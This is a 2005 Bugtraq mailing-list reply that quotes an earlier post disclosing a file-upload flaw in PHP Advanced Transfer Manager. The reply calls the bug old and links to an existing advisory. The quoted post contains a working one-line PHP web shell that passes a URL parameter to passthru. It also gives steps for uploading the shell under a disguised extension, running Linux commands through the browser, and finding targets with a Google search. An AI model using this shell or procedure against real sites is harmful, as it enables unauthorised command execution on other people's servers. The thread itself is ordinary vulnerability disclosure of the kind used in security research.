[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    Re: uplod phpshell in PHP Advanced Transfer Manager
From:       D_BuG <d_bug () bk ! ru>
Date:       2005-10-30 3:23:00
Message-ID: 649238019.20051030062300 () bk ! ru
[Download RAW message or body]

Read link =)

http://www.securityfocus.com/bid/13542/exploit

This old bug ;)


Good luke discovered!

> <

> uplod phpshell in PHP Advanced Transfer Manager

> one save as the code :

> --------

> <pre>
> <?
> passthru($_GET['sQl']);
?>>

> --------

file >> save as > sQl.php.ns

> now upload in the  PHP Advanced Transfer Manager

> end the upload go to >

> www.site.com/[file upload name]/[files]/sQl.php.ns?sQl=[command linux]

> search google :

> PHP Advanced Transfer Manager

> }

> by sQl

> sQl[at]homail.[com]

> {

>>


-- 
С уважением, Денис.


[prev in list] [next in list] [prev in thread] [next in thread]